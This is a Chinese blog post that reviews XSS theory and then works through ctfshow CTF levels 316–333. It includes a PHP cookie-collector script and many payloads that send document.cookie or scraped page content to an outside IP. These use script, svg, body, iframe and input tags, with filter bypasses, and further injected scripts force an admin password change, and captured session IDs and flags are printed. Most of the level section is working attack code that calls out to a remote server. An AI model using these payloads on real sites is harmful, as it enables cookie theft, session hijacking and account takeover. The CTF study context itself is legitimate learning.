xss复习总结及ctfshow做题总结xss

时间:2024-07-17 19:17:40

xss复习总结

知识点

1.XSS 漏洞简介

​ XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

​ xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

2.XSS的原理

攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。

诱使受害者打开受到攻击的服务器URL。

受害者在Web浏览器中打开URL,恶意脚本执行。

3.XSS的攻击方式

反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理

存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。

4.XSS的危害

1.挂马

2.盗取用户Cookie。

3.DOS(拒绝服务)客户端浏览器。

4.钓鱼攻击,高级的钓鱼技巧。

5.删除目标文章、恶意篡改数据、嫁祸。

6.劫持用户Web行为,甚至进一步渗透内网。

7.爆发Web2.0蠕虫。

8.蠕虫式的DDoS攻击。

9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

10.其它安全问题

5.XSS的利用方式

1.需要一个xss平台来收集cookie

2. 对于反射型xss可构造链接,当用户点击时,用户cookie被发送到xss平台

3. 窃取用户cooike之后加以利用

可以基于xss平台进行利用

思维导图

漏洞概述

漏洞分类

防御

示例ctfshow

反射型(316-326)

316

写入<script>alert('1');</script>,可以弹框

本地服务器接受xss触发的cookie

<?php

echo 'hello';

if(isset($_GET['cookie'])) {

    $cookie = $_GET['cookie'];

    

    // 过滤和清理用户输入

    $cookie = htmlspecialchars($cookie); // 过滤特殊字符

    // 其他可能的过滤和验证

    // 写入文件

    $myfile = fopen('cookie.txt', 'a');

    if ($myfile !== false) {

        fwrite($myfile, $cookie."\n");

        fclose($myfile);

        echo 'Cookie 已成功写入文件。';

    } else {

        echo '无法打开文件进行写入。';

    }

} else {

    echo '未提供 cookie 数据。';

}

?>

<script>window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie</script>

<script>window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie</script>

服务器接受成功

PHPSESSID=mmp10nlblsrf6lm1mhgvrrnr4v; flag=ctfshow{6b0e3e74-33cf-46f9-860f-b482350a15ab}

317

过滤掉了script,可以使用onload+svg标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

PHPSESSID=p5080si0q6no6arse5ohqsn9i6; flag=ctfshow{7b5527bf-40ce-4c7a-9b60-7b5e90536e35}

318

使用onload+body 标签

姿势:

<body οnlοad="document.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie"></body>

可以使用onload+svg标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

PHPSESSID=i451q1hknod0tu85ns14bsbe9i; flag=ctfshow{cd22ca42-f597-454c-99d9-e6a34d72adb2}

319

iframe 标签

<iframe οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)"></iframe>

body标签

<body οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

input标签

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

PHPSESSID=4v9o95apn13jh1v0olsd4n95cn; flag=ctfshow{642da7b3-a0df-43fe-8b64-758f2c14b4d7}

320

空格过滤了 过滤了script,img,空格

/绕过空格

Iframe标签

<svg/οnlοad="window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie">

PHPSESSID=ucoi08m9uacje2uj026alrdigt; flag=ctfshow{08fc1a0f-9bf6-49e9-a1ed-27fada2cb476}

321-326

这些关卡可以用以前关卡的姿势触发xss

空格可以用  /   或/**/绕过

iframe 标签

<iframe οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)"></iframe>

body标签

<body οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

input标签

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

script标签

<script>window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie</script>

svg 标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

327

内容写入

<script>window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)</script>

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

<body οnlοad="document.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie"></body>

返回网络繁忙

328

账号:aa

密码:

<script>window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)</script> 

修改cookie值

329

和web328一样 发现管理员cookie是随时变的 后端设置就是访问后cookie立马失效

随便注册一个用户

查看页面信息密码中的标签信息

layui-table-cell laytable-cell-1-0-1

在注册一个用户

密码:

<script>

$('.laytable-cell-1-0-1').each(function(index,value){

    if(value.innerHTML.indexOf('ctf'+'show{')>-1){

        window.location.href='http://8.130.28.124/cookie.php?cookie='+value.innerHTML;

    }

});

</script>

330

Bp抓取修改密码的数据包

再注册

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

window.location.href 表示当前页面的 URL 地址 设置的新 URL 是 'http://127.0.0.1/api/change?p=123',它是一个 API 的地址,其中 p 参数的值为 123 当浏览器加载这个 JavaScript 脚本时,它会立即将当前页面重定向到该 API 地址,并带上参数 p=123。在重定向完成后,页面将会显示 API 返回的内容 管理员访问的肯定是本地的api接口 所以用127.0.0.1

这个js脚本作为密码 随便创建一个用户 (题目默认BOT会隔一段时间访问账号密码页面 从而实现了管理员点击事件)

331

Bp抓取修改密码的数据包

是post请求

请求模板

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象

httpRequest.open('POST', 'url', true); //第二步:打开连接

httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)

httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中

/**

* 获取数据后的处理程序

*/

httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中

    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功

        var json = httpRequest.responseText;//获取到服务端返回的数据

        console.log(json);

    }

};

构造

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>


ctfshow{4e99b8d9-a969-4940-82ab-3e23777b46d1}

332

逻辑漏洞

转账负数

333

这次加了一点限制,就是转出的金额的绝对值不能比余额大,就是多转几次。